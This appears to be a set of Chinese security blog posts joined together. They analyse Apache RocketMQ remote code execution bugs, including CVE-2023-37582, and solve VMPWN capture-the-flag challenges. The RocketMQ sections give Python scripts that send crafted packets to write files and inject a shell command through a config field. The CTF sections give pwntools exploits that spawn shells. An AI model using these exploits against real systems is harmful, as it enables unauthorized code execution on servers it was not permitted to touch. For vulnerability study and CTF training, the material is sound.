org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能 org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig org/apache/rocketmq/remoting/Configuration.java#update 如果属性名是其内置的,就进行更新操作 后面的一部分就比较清晰了 org/apache/rocketmq/broker/BrokerStartup.java#start org/apache/rocketmq/broker/BrokerController.java#start org/apache/rocketmq/broker/BrokerController.java#startBasicService org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start 根据从 Wireshark 中抓取的数据包 我们也可以构造这样的 payload 触发漏洞 import socket import binascii client = socket.socket() # you ip client.connect(('192.168.222.130',10911)) # data json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8') body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8') json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数 head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值 head2 = '00000000'+str(hex(all_lens))[2:] data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body # send client.send(bytes.fromhex(data)) data_recv = client.recv(1024) print(data_recv) ‍ 漏洞修复 移除了命令执行的模块
Apache RocketMQ 远程代码执行漏洞(CVE-2023-37582)
漏洞简介 Apache RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。CVE-2023-37582 中,由于对 CVE-2023-33246 修复不完善,导致在Apache RocketMQ NameServer 存在未授权访问的情况下,攻击者可构造恶意请求以RocketMQ运行的系统用户身份执行命令。 影响版本 Apache RocketMQ <= 5.1.1 Apache RocketMQ <= 4.9.6 环境搭建 参考 Apache RocketMQ 远程代码执行漏洞 CVE-2023-33246 的环境搭建 还是为了方便进行调试,我们再 linux 下搭建 RocketMQ 的相关服务,利用源码启动 一共需要运行两个服务 org.apache.rocketmq.namesrv.NamesrvStartup org.apache.rocketmq.broker.BrokerStartup 先启动 NamesrvStartup,再启动 BrokerStartup 同时都需要配置环境变量 ROCKETMQ_HOME ROCKETMQ_HOME\=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0 漏洞复现 运行 python 脚本 import socket import binascii client = socket.socket() # you ip client.connect(('192.168.222.130',9876)) # data json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8') body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8') json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数 head1 = '00000000'+str(hex(json_lens))[2:]      # hex(xxxx) 0x1243434 去掉 0x all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens) head2 = '00000000'+str(hex(all_lens))[2:] data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # send client.send(bytes.fromhex(data)) data_recv = client.recv(1024) print(data_recv) 成功在 tmp 目录下的 test.txt 文件中写入指定字符串 test 漏洞分析 org/apache/rocketmq/remoting/protocol/RequestCode.java code 代表调用不同的功能,此时调用的是318 更新配置的操作 src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java 根据对应的 code 会调用 对应的函数进行处理 src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig src/main/java/org/apache/rocketmq/remoting/Configuration.java#update 首先判断是不是属于可控的属性 src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath 调用 getStorePath 获取文件路径,此时获取的值是 configStorePath 的值 src/main/java/org/apache/rocketmq/common/MixAll.java#string2File src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile 漏洞修复 修改禁用修改配置路径的参数
VMPWN的入门级别题目详解(二)
实验四 VMPWN4 题目简介 这道题应该算是虚拟机保护的一个变种,是一个解释器类型的程序,何为解释器?解释器是一种计算机程序,用于解释和执行源代码。解释器可以理解源代码中的语法和语义,并将其转换为计算机可以执行的机器语言。与编译器不同,解释器不会将源代码转换为机器语言,而是直接执行源代码。即,这个程序接收一定的解释器语言,然后按照一定的规则对其进行解析,完成相应的功能,从本质上来看依然是一个虚拟机。 这个程序是一个brainfuck的解释器,brainfuck的语法如下所示: 将这些语法翻译为c代码如下所示: 题目保护检查 使用checksec来检查程序开启了哪些保护机制 所有保护全部开启使用seccomp-tools检查程序是否开启了沙箱 只允许open、openat、read、write、brk等少数系统调用,也就是说我们不能通过执行system(“/bin/sh”)或者execve系统调用来拿到shell了。 漏洞分析 使用IDA pro打开这个程序查看伪代码 看到std::cout以及std::string等函数,可以看出来这个程序是用c++进行编写的,相比于C语言的程序,C++的程序反编译之后分析起来难度会大一些。 分析一波sub_1EA2函数在a1+0x400处创建一个string类,后面的sub_1FAA,sub_1F72很复杂,看不明白,应该是初始化的函数。 然后在 sub_154B 函数中 这里就是沙箱开启函数,我们一开始用 seccomp-tools 分析程序得到的沙箱规则就是在这个函数中设置的,对程序的系统调用功能进行了种种限制。 接着输入 code,每次输入 1 字节,然后将这 1 字节拼接到 string 中, 在这里我们可以动态调试一下输入过程,因为 string 是一个类,其内部有其他成员。我们将断点下载 while 循环结束之后,即读取完了 code,我们首先输入 5 个'>',string 类在 rbp-0x40,我们查看其中内容: 前8个字节是一个指针,指向我们输入的code存放的地址,第2个8字节是输入的字节数,后面的就是我们输入的code,这里我们只输入了5个字节,直接在存在了栈中。我们多输入一些,大于0x10个字符 前8个字节变为了堆地址,我们输入的数据被存入了堆中,第2个8字节依然书我们输入的字节数,第3个8字节0x1e,应该是剩余可用空间,0x13+0x1e=0x31。总的来说,如果输入字符数小于0x10,string类的大概成员应该如下 struct string { char *data; int64_t size; char data[0x10]; ... } 如果大于0x10则为如下 struct { char *buf; int64_t size; int64_t capacity; char tmp_data[8]; ... } 继续分析程序 中间这一段 for 循环应该是遍历所有输入的 code,寻找[和],也就是寻找程序的边界,为什么是寻找程序的边界,可以再看一下 brainfuck 解释为 c 语言之后的效果。[]所包裹起来的 code,就是 while 循环之内要执行的代码。从这个 for 循环往下,就是对 brainfuck 的解释代码,会依次判断每个字符的值,并进行相应的操作。 首先看到对>的操作会对v19进行+1操作,v19是啥呢?s是最开始初始化的时候传入的一个长度为0x400的数组,这里将v19赋值为s数组的地址,每当解析到>时,就将v19往后移动一个字节,然后对v19进行判断在if判断中存在问题,当v19指针大于string指针是退出,也就是说v19可以等于string指针,即v19可以指向string的第一个字节,存在off-by-one。如下图v19可以指向画框的1字节。 后续的其他操作就都和最开始贴出来的brainfuck语法一样了,也没有漏洞。 接下来开始利用漏洞。 第一步还是得先泄露libc地址。泄露方法是通过将v19指向string的第一字节,也就是buf指针的最后1字节。在0x7fffffffde68处就是main函数的返回地址,我们将buf指针的最后1字节修改为68,这样buf就会指向返回地址。在程序的最后,会将string的数据输出而此时string的buf已经被我们指向了返回地址,输出时就会泄露出libc_start_main的地址。在这里我们需要注意,想要buf指针能够指向栈中,我们输入的数据不能超过0x10个字节,而v19和string相差多少呢?v19是指向s的,s和string相差了0x400的距离,所以我们需要将v19增加0x400才 ++*ptr; while(*ptr) { ptr++; ++*ptr; } 这看起来是一个死循环,为啥能够自动在指向string的第1个字节时自动停止呢?这是因为,当执行完>使得v19指向string后,接下来会执行+使得string的buf指针+1,变成了下图所示:于是,原本要取],因为指针+1,就会取到,,从而跳出循环。还有一点就是,因为aslr的缘故,栈地址会一直改变,所以泄露libc地址需要多试几次才能成功。拿到libc地址之后,就可以进行利用了,由于此时string的buf指针指向的是返回地址,我们再次输入code的时候就会往返回地址上写,所以我们可以构造好orw的rop链,直接写入返回地址,然后当我们结束main函数的时候就会执行orw链。另外,还有需要注 利用脚本 from pwn import * context.log_level='debug' global io libc=ELF('./libc.so.6') def debug(addr,PIE=True): if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16) gdb.attach(io,'b *{}'.format(hex(text_base+addr))) else: gdb.attach(io,"b *{}".format(hex(addr))) def pwn():    payload = '+[>+],'    io.recvuntil('enter your code:\n')        io.sendline(payload)    io.recvuntil('running....\n')    io.send(p8(0xd8))    io.recvuntil("your code: ")    libc_base = u64(io.recvuntil('\x7f',timeout=0.5)[-6:].ljust(8,'\x00')) - 231 - libc.sym['__libc_start_main']    if libc_base>>40!=0x7f:        raise Exception("leak error!")    log.success('libc_base => {}'.format(hex(libc_base)))    pop_rdi_ret=libc_base+0x000000000002155f    pop_rsi_ret=libc_base+0x0000000000023e6a    pop_rdx_ret=libc_base+0x0000000000001b96    open_addr=libc_base+libc.symbols['open']    read_addr=libc_base+libc.symbols['read']    write_addr=libc_base+libc.symbols['write']    log.success('open_addr => {}'.format(hex(open_addr)))    log.success('read_addr => {}'.format(hex(read_addr)))    log.success('write_addr => {}'.format(hex(write_addr)))    flag_str_addr=(libc_base+libc.symbols['__free_hook'])&0xfffffffffffff000    orw=p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(flag_str_addr)+p64(pop_rdx_ret)+p64(0x10)+p64(read_addr)    orw+=p64(pop_rdi_ret)+p64(flag_str_addr)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)    orw+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(read_addr)    orw+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(flag_str_addr+0x10)+p64(pop_rdx_ret)+p64(0x100)+p64(write_addr)    io.recvuntil('want to continue?\n')    io.send('y')    io.recvuntil('enter your code:\n')    io.sendline(orw+payload)    io.recvuntil('running....\n')    io.send('\xa0')    io.recvuntil('want to continue?\n')    io.send('n')    io.send('./flag')    io.interactive() if __name__ == "__main__":    while True:        try:            io=process('./bf')            pwn()        except:            io.close()     实验五 VMPWN5 题目简介 这道题是一道很典型的VMPWN,接收字节码,对字节码进行解析,执行对应功能。不过这题相较于前面的vmpwn有些区别,前几题都都是同时存在越界读和越界写漏洞的,然而这道题仅存在一个越界写漏洞,这就要求更加开阔和灵活的解题思路。 题目保护检查 保护全部开启了。 漏洞分析 IDA打开程序 读取一段字符,如果这段字符串不为”bye bye”,则调用sub_228E函数 看到sub_228E函数 首先根据字符串的输出将各个变量重命名。 先让用户输入code_size,也就是字节码的长度;接着让用户输入memory count,也就是内存的大小,内存的单位是8字节,后面通过malloc申请memory count*8大小的堆块作为内存。然后读取code,最后调用sub_1458函数,跟进查看 似乎是一个初始化函数,但具体做了什么我们暂不清楚,继续往下看,跟进到sub_151A函数。 这里就是熟悉的解析字节码了,我们将前面的函数和变量重命名一下 为了方便逆向分析,我们首先来确定虚拟机的结构体。 首先根据这里的判断,我们猜测通用寄存器的索引不能大于3,也就是通用寄存器有 4个。我们再回看到init_vm结构体。 qword_5040应该为pc指针,因为它指向的是code的开头,ptr指向内存的开头,后面又malloc出来了一块0x800的堆,猜测这个qword_5050应该就是栈顶指针rsp,重命名之后如下 重新看回到exec_vm函数 qword_5088很明显是当前运行了多少code。 而我们注意到 我们刚刚重命名的指针都是位于同一块区域,所以这一块区域应该就是vm虚拟机的位置。 根据刚刚的分析,创建如下结构体 struct vm {  char *code;  int64_t *memory;  int64_t *stack;  int64_t codesize;  int64_t memcnt;  int64_t regs[4];  int64_t rip;  int64_t rsp; }; 再将其应用于IDA中,此时exec_vm已经变得很清晰 一共24个功能,每个操作码对应的功能如下: 0:push 1:pop 2:将栈中的两个值相加 3:将栈中的两个值相减 4:将栈中的两个值相乘 5:将栈中的两个值相除 6:将栈中的两个值取模 7:将栈中的两个值左移 8:将栈中的两个值右移 9:将栈中的两个值相与 11:将栈中的两个值相或 12:将栈中的两个值相异或 13:判断栈顶值是否为0 14:jmp 15:条件jmp,如果栈顶有值就jmp,没有就不jmp 16:条件jmp,和15相反 17:判断栈顶的两个值是否相等 18:判断栈顶值是否小于栈顶下的一个值 19:判断栈顶值是否大于栈顶下的一个值 20:将一个立即数存入寄存器中 21:将寄存器中的值存入内存中 22:将内存中的值存入寄存器中 23:打印finish 接下来开始分析漏洞 在最开始输入mem_cnt时有一个判断,如下 在这里,当输入类似0x2000000000000020的mem_cnt时,后续申请到的memory大小就为0x100因为0x200000000000000*8会超过64位能表示的最大数字从而导致整数溢出,只有最后的0x20*8会保留下来。 在执行opcode时,0x15功能点处检查内存是否越界依然使用的是一开始输入的mem_cnt,因此存在越界写,可以将寄存器中的数据写到任意内存中。而在0x16功能点处的内存读功能则由于v8 >= 8 * vmx.memcnt / 8的处理,失去了越界读的效果,所以题目的漏洞就在于0x15功能点的越界写。 但是,由于不存在越界读功能,我们无法从内存中读取libc地址信息到寄存器中,虚拟机也没有输出功能,因此我们需要另辟蹊径。 首先如何生成libc地址,注意在exec_vm结束后,会清理虚拟机的各个段 由于将堆free了会链入到unsortedbin中,因此堆中就会留下libc地址,再重新初始化一个虚拟机,这个新的虚拟机的内存段中就会包含libc地址。 当opcode大于0x17时,会输出what???,可以根据这个构造盲注来泄露libc地址. 首先将libc地址push到栈上,然后将1<<i(5<=i<=40)也push到栈上,然后通过0x9的按位与功能 检测该位是否为1,如果为1的话就执行一个错误的opcode,输出what???,如果为0的话就跳转回code开头,继续测试下一位是否为1,由此可以一位一位地得到libc地址。 如上图所示,这是mem区残留的libc地址,首先将libc地址mov到reg[0]中,如下图 然后将其push到栈中 接着我们往reg[1]中写入1<<i,i从5开始,到40结束,因为libc地址的末尾4位为0,且开头一定为0x7f,所以只需要从第5位测试到第40位即可 如上图,reg[1]中存放着1<<8,然后将其压入栈中 再将这两个值进行按位与 将按位与之后的结果存入栈底,然后我们判断栈底为1或者0,为1的话就输出finish,为0的话就输出what?,以此来判断libc的每一位数据为1或者0. 得到libc地址之后就该思考如何getshell了。 拿到libc地址后,再加上任意地址写,随便怎么打都可以,这里采用打call_tls_dtors来getshell。 call_tls_dtors是什么? main函数正常退出时,会调用exit函数 void exit (int status) {  __run_exit_handlers (status, &__exit_funcs, true, true); } libc_hidden_def (exit) exit函数调用了__run_exit_handlers函数 __run_exit_handlers (int status, struct exit_function_list **listp,     bool run_list_atexit, bool run_dtors) {  /* First, call the TLS destructors. */ #ifndef SHARED  if (&__call_tls_dtors != NULL) #endif    if (run_dtors)      __call_tls_dtors (); .....................  _exit (status); } __run_exit_handlers函数中,会检查run_dtors,如果为真就会调用__call_tls_dtors 动态调试exit函数,可以看到run_dtors的值 pwndbg> p run_dtors $1 = true 因此__call_tls_dtors是会被执行的,再看到__call_tls_dtors函数 void__call_tls_dtors (void){ while (tls_dtor_list) { struct dtor_list *cur = tls_dtor_list; dtor_func func = cur->func;#ifdef PTR_DEMANGLE PTR_DEMANGLE (func);#endif tls_dtor_list = tls_dtor_list->next; func (cur->obj); /* Ensure that the MAP dereference happens before l_tls_dtor_count decrement. Th 如果tls_dtor_list存在的话,就会将tls_dtor_list赋值给cur,而cur是一个dtor_list的结构体指针,定义如下 struct dtor_list{ dtor_func func; void *obj; struct link_map *map; struct dtor_list *next;}; 然后将cur->func赋值给func,然后调用PTR_DEMANGLE (func),定义如下 # define PTR_DEMANGLE(var) asm ("ror $2*" LP_SIZE "+1, %0\n" \ "xor %%fs:%c2, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard))) 纯汇编如下 0x7ffff7e21428 <__call_tls_dtors+40> ror rax, 0x11 0x7ffff7e2142c <__call_tls_dtors+44> xor rax, qword ptr fs:[0x30] 0x7ffff7e21435 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx 0x7ffff7e21439 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8] 0x7ffff7e2143d <__call_tls_dtors+61> call rax 与之相对的是PTR_MANGLE(var) # define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n" \ "rol $2*" LP_SIZE "+1, %0" \ : "=r" (var) \ : "0" (var), \ "i" (offsetof (tcbhead_t, \ pointer_guard))) PTR_MANGLE可以看作是加密过程,PTR_DEMANGLE 则是解密过程,循环右移0x11位,然后和fs:[0x30]异或得出解密之后的值。 fs:[0x30]是什么?64位程序中,函数退栈时检查canary的那条汇编语句就是xor rcx, qword ptr fs:[0x28],里面也出现了fs,实际上fs是一个TLS结构体,定义如下 typedef struct{ void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; int gscope_flag; /* Bit 0: X86_FEATU stack_guard就是fs:[0x28],也就是canary,相应的,fs:[0x30]就是pointer_guard。如何定位TLS结构体?在pwndbg使用如下方式 pwndbg> canary canary : 0xed8519fd5f3d4700pwndbg> search -p 0xed8519fd5f3d4700 0x7ffff7fca568 0xed8519fd5f3d4700pwndbg> x /20xg 0x7ffff7fca568-0x280x7ffff7fca540: 0x00007ffff7fca540 0x00007ffff7fcae900x7ffff7fca550: 0x00007ffff7fca540 0x0000000000000000 回到函数中来,解密了func之后,会执行 func (cur->obj); 而func和cur->obj同属于tls_dtor_list结构体,而这个结构体的来源是tls_dtor_list这个指针,如果我们能够控制这个指针指向我们可控的内存那么就能够劫持程序。我们继续动态调试查看tls_dtor_list的值 pwndbg> p tls_dtor_list Cannot find thread-local storage for process 5047, shared library /usr/lib/freelibs/amd64/2.31-0ubuntu9.2_amd64/libc.so.6:Cannot find thread-local variables on this target 但是pwndbg并不能直接查看到tls_dtor_list的内容,看地址也不行,那我们继续从汇编中找 查看while (tls_dtor_list)处的汇编,如下 0x7ffff7e2140a <__call_tls_dtors+10> mov rbx, qword ptr [rip + 0x1a094f] ► 0x7ffff7e21411 <__call_tls_dtors+17> mov rbp, qword ptr fs:[rbx] 0x7ffff7e21415 <__call_tls_dtors+21> test rbp, rbp 0x7ffff7e21418 <__call_tls_dtors+24> je __call_tls_dtors+93 <__call_tls_dtors+93> 将fs:[rbx]处的值赋给rbp,然后检查rbp是否为0 此时RBP的值为 RBX 0xffffffffffffffa8 补码形式,转换成负数就是-0x58,也就是将fs:[-0x58]处的值赋给RBP,所以tls_dtor_list的地址就为fs:[-0x58]。 整个利用流程就是,将tls_dtor_list的值修改为我们可控内存的地址,一般是堆的地址,然后根据dtor_list结构体的布局 struct dtor_list{ dtor_func func; void *obj; struct link_map *map; struct dtor_list *next;}; 我们只需要将在堆中将func伪造为加密后的system的地址,obj为/bin/sh即可。 按照上面说的思路,我们利用越界写将pointer_guard修改为0,然后修改dtor_list结构体的值,将func修改为加密后的system地址,将会obj修改为binsh的地址,最后我们推出虚拟机的时候就会触发system(“/bin/sh”)来getshell。 利用脚本 from pwn import *context.log_level='debug'io=process('./ezvm')libc=ELF('./libc-2.35.so')io.recvuntil('Welcome to 0ctf2022!!\n')io.sendline('lock')io.recvuntil('size:\n')io.sendline('38')io.recvuntil('memory count:\n')io.sendline('256')code=p8(0x17)+p8(0xff)*36io.recvuntil('code:\n')io.sendline(code)
VMPWN的入门级别题目详解(一)
实验一 VMPWN1 题目简介 这是一道基础的VM相关题目,VMPWN的入门级别题目。前面提到VMPWN一般都是接收字节码然后对字节码进行解析,但是这道题目不接受字节码,它接收字节码的更高一级语言:汇编。程序直接接收类似”mov”、”add”之类的指令,可以把这道题目看作是一个执行汇编语言的处理器,相比于解析字节码的VM,逆向难度要大大减小。非常适合入门。 题目保护检查 只有Partial RELRO保护,这意味着可以修改程序的重定位表;没有开启PIE保护,那么程序每次加载到内存中的地址都不会发生变化。 漏洞分析 拖进IDA分析流程 程序模拟了一个虚拟机,v5,v6,v7分别是stack段,text段和data段。看到alloc_mem这个函数 Malloc一块小内存ptr,然后参数a1是要分配的内存的大小,一个单位是8字节。根据伪代码中对ptr的赋值可以构造出一个结构体,如下 struct seg_chunk {  char *seg;  int size;  int nop; }; 再看到alloc_mem函数会直观很多 但是这样依然有一些难以理解,我们使用GDB打开程序进行调试,看到如下图所示 存在多个0x20大小的小堆块,堆块中的开头8字节指向下方的大堆块,第8到第12字节则是大堆块的大小的单位数量,比如0x400=0x80*0x8,单位长度为8字节,后面的0xffffffff暂时不知道作用,可能只适用于占位。因此根据gdb的显示结果,我们重新创建一个结构体,如下 struct manage_chunk {  unsigned __int8 *chunk;  unsigned int unit_num;  int unknow; }; 继续看到main函数, 接着会让用户输入程序名 分配好各个段之后,然后让我们输入指令,先写到一个0x400的缓冲区中 然后再写到text段中,store_opcode函数如下 函数接受两个参数,a1为text段的指针,a2为缓冲区的指针,strtok函数原型如下: char *strtok(char *str, const char *delim) str -- 要被分解成一组小字符串的字符串。 delim -- 包含分隔符的 C 字符串。 该函数返回被分解的第一个子字符串,如果没有可检索的字符串,则返回一个空指针。 程序中的delim为\n\r\t,strtok(a2, delim)就是以\n\r\t分割a2中的字符串 由下面的if-else语句我们可以知道程序实现了push,pop,add,sub,mul,div,load,save这几个功能,每个功能都对应着一个opcode,将每一个opcode存储到函数中分配的一个临时data段中(函数执行完后这个chunk就会被free掉) sub_40144E函数如下: 这个函数是用来将函数中的临时text段的指令转移到程序中的text段的,每八个字节存储一个opcode,每存储一个指令,就会对unknow进行加1的操作。我们将这个函数重名为set_value。 需要注意的是,这里存储opcode的顺序和我们输入指令的顺序是相反的(不过也没啥需要注意的,反正程序是按照我们输入的指令顺序来执行的)。 write_stack函数如下: 和store_opcode函数相比就是去掉了存储opcode的环节,将我们输入的数据存储在stack段中。 我们再看到execute函数 一个很大switch选择语句,看到sub_4014B4函数 将a1中seg内的值给到a2,unknow每次都会减一,而a1是text段的指针,所以这个函数就是从text段中取指令,将其重命名为take_value。 对于set_value函数而言,每次会将unknow加1,而对于take_value而言,每次会将unknow减1,因此我们在这里可以猜测unknow是当前的数据的数量,因此重新定义结构体 struct manage_chunk {  unsigned __int8 *chunk;  unsigned int unit_num;  int num_now; }; 看到case0x11对应的函数sub_401AAC 调用了take_value函数和sub_40144E函数,sub_40144E如下 将a2放入a1的seg中,和take_value的操作相反,所以我们将其命名为set_value。整体看来就是这样子的,如下图所示 从stack中取值,然后将值存入data中,所以这里的操作我们可以理解为pop,因此我们将sub_401AAC重命名为pop。 再看到sub_401AF8函数 从data中取出两个值,然后将这两个值相加存入data中,所以我们将其重命名为add。 看到sub_401BA5函数 很明显就是减法 再看sub_401C06函数 这个函数是乘法 再看sub_401C68函数 这个函数是除法 再看到sub_401CCE函数 稍微复杂了一点点,从data中取出一个值,然后以这个值为索引,从data中取值,将取出来的值载data中。我们将这个函数命名为load。 最后看到sub_401D37函数 这里取出两个值a2和v4,以a2为索引,将v4存入a2索引找到的内存中。将其命名为save。 至此,所有的操作都已经分析完毕,那么程序的漏洞在哪? 注意看到load和save功能 索引v3是从data段中取出来的,而data段的值是由用户输入的 通过push和pop以及加减乘除等操作可以控制data段中的数据,而在load中以data段中的数据为索引时又没有对其进行限制,所以这里存在一个越界读的漏洞,即我们只需要设置好data段中的数据,在使用load功能时就可以将不属于data段中的数据读取到data段中。 除了load中的越界读漏洞,在save操作中也存在漏洞 Save功能中从data段中取出两个值,然后将其中一个值作为data段的索引,从中取出一个值addr,将从data段中取出的另一个值存入addr指向的内存当中。这里没有对这两个值进行判断,也没有对addr进行任何判断,所以我们可以将任意值写入任意地址中,这里就存在一个越界写漏洞。 所以这个程序一共存在两个漏洞:越界读和越界写漏洞。 静态分析完毕,开始动态分析 存在越界读写的漏洞,该怎么利用? 由于程序没有开启FULL RELRO,所以我们可以复写got表,got中会存放有已经运行过的函数的加载地址,修改某个函数的got表的值就能够修改这个函数最终调用的函数地址。在这个程序中有如下函数 在这里我们选择将puts的got表中的值修改system函数的地址,为什么? 在程序的一开始让我们输入了一个程序名,然后execute运行结束后,会调用puts函数输出程序名,当我们将puts函数的got表的值修改为system函数的地址后,puts(s)就变成了system(s),而如果我们输入的s的内容为/bin/sh,那么最终就会调用system(“/bin/sh”)。 注意到heap区上方 Heap区上方就是程序的text段,text段中存有got表,有大量的libc的地址 而程序本身没有输出功能,所以我们需要利用程序提供的功能进行写入加减运算。load和save功能都是在data段进行的,而且存在越界,它们的的参数都是data结构体的指针。 而对data段进行操作都是通过存储在data结构体中的data段指针进行操作的,只要我们修改了这个指针,data段的位置也会随之改变,所以我们可以利用save的越界写漏洞,将data段指针修改到0x404000附近(也可以直接在data段进行越界读写,毕竟越界读写的范围也没有限定,不过这样计算起来会比较麻烦)。 我们将data段指针改写为stderr下方的一段无内容处,即0x4040d0。 这个操作对应的payload为 push push save 0x4040d0 -3 调试看看 我们将断点下载push处,如下图所示 也就是地址0x00000000004019C7处 push之前 push之后 0x4040d0被push到了data段开始处,接着将-3也push到data段 然后利用save功能的越界写,将0x4040d0写入到data[-3]处 执行完这一段指令之后,data段的指针就被修改到了0x4040d0。 之后我们对data段的操作就都是以0x4040d0为基地址来操作的,我们将上方的stderr的地址(或者别的地址)load到data段,然后计算出在libc中stderr和system的相对偏移,push到data段,然后将stderr和偏移相加就能得出system的地址,接着再利用save功能,将system写入puts@got(在0x404020处)即可。 利用脚本 from pwn import * context.binary = './ciscn_2019_qual_virtual' context.log_level = 'debug' io = process('./ciscn_2019_qual_virtual') elf = ELF('ciscn_2019_qual_virtual') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') io.recvuntil('name:\n') io.sendline('/bin/sh') data_addr = 0x4040d0 offset = libc.symbols['system'] - libc.symbols['_IO_2_1_stderr_'] opcode = 'push push save push load push add push save' data = [data_addr, -3, -1, offset, -21] payload = '' for i in data:    payload += str(i)+' ' io.recvuntil('instruction:\n') io.sendline(opcode) #gdb.attach(io,'b *0x401cce') io.recvuntil('data:\n') io.sendline(payload) io.interactive() 实验二 VMPWN2 实验简介 这道题难度要比前一道题稍微大一些,前一道题的输入为汇编形式的指令,而这一道题是很经典的一个VM,接收字节码,处理字节码,前一道题以接收汇编形式的指令,对于我们的逆向起到了很大的帮助,因为正常的VM逆向就是需要我们对字节码进行逆向将其还原为汇编形式的指令;所以这道题才是真正的VMPWN入门题。 题目保护检查 相比于前一题,保护开启增多,只有canary保护未开启。 漏洞分析 首先让我们输入PC和SP PC 程序计数器,它存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令。 SP 指针寄存器,永远指向当前的栈顶。 然后让我们输入codesize,最大为0x10000字节接着依次输入code if语句是用来限制code的值的,将其中高8位为0xFF的整数的值修改为0xE0000000,然后存储到数组memory中。 接着进入where循环,fetch函数如下 这里使用到了reg[15],存储着PC的值,我们看一看这个程序使用的一些数据 每次将PC的值增加1,依次读取memory中的code 再看到execute函数 由于execute函数较长,所以我们不一次性放出,分段进行分析 Execute的参数是一个4字节的opcode v4 = (code & 0xF0000u) >> 16将会取第三个字节的数值。 v3 = (unsigned __int16)(code & 0xF00) >> 8将会取第二个字节的数值,并且这个数只是1位16进制数。 v2 = code & 0xF将会取最末尾一字节。 result = HIBYTE(code),将code的最高一字节给result,最高一字节用于指定对应的操作码。如果最高字节为0x70,那么执行加法操作,reg[v4] = reg[v2] + reg[v3]。 继续往下看 总结如下: 操作码为0x10,将一个1字节的常量存入reg[v4]; 操作码为0x20,判断code的最低字节是否为0,并将reg[v4]设置为结果; 操作码为0x30,以reg[v2]为索引,将memory[reg[v2]送入reg[v4]; 操作码为0x40,将reg[v4]送入memory[reg[v2]; 操作码为0x50,执行push操作,将reg[v4]压入栈中,reg[13]是可以理解为rsp寄存器; 操作码为0x60,执行pop操作,将栈顶的值弹出到reg[v4]中; 操作码为0x70,执行加法操作,reg[v4] = reg[v2] + reg[v3]; 操作码为0x80,执行减法操作,reg[v4] = reg[v3] - reg[v2]; 操作码为0x90,执行按位与操作,reg[v4] = reg[v2] & reg[v3]; 操作码为0xa0,执行按位或操作,reg[v4] = reg[v2] | reg[v3]; 操作码为0xb0,执行异或操作,reg[v4] = reg[v2] ^ reg[v3]; 操作码为0xc0,执行左移操作,reg[v4] = reg[v3] << reg[v2]; 操作码为0xd0,执行右移操作,reg[v4] = (int)reg[v3] >> reg[v2]; 操作码为0xe0,如果栈中已经没有值了,那就退出,在退出的时候会打印出所有寄存器的值。 以上就是这个VM实现的所有操作,可以看出基本实现了CPU的基本功能。 程序逻辑理清楚了,该思考怎么利用了。 操作码为0x30和0x40时,分别实现了load和save功能,在将内存中的值读入寄存器中时以及将寄存器中的值写入内存中是并未对边界以及要读取或写入的值有所限制,因此在这里依然存在越界读和越界写漏洞。 这道题开启了FULL RELRO保护,这样一来got表就不可写了,我们就不能够通过上一题的方式修改got表来劫持函数。 在程序的结尾调用了sendcomment函数,函数实现如下 调用free函数将comment这个堆块释放掉。 在这里我们需要提及到free_hook这个钩子函数 什么是free_hook? 在GNU C库(glibc)中,free_hook是一个全局变量,用于实现动态内存分配和释放的钩子函数。当程序使用malloc()、calloc()、realloc()等函数进行内存分配时,会调用free_hook函数来进行内存释放的操作。 通过定义自己的free_hook函数,可以在内存分配和释放时进行额外的处理操作,例如记录内存分配和释放的情况、检测内存泄漏等。 在glibc中,可以通过设置free_hook变量来实现自定义的内存释放操作。例如,可以使用以下代码来设置free_hook变量: void my_free_hook(void *ptr, const void *caller) {    printf("Freeing memory at %p, called by %p\n", ptr, caller);    __free_hook = old_free_hook;    free(ptr);    __free_hook = my_free_hook; } void *old_free_hook = NULL; int 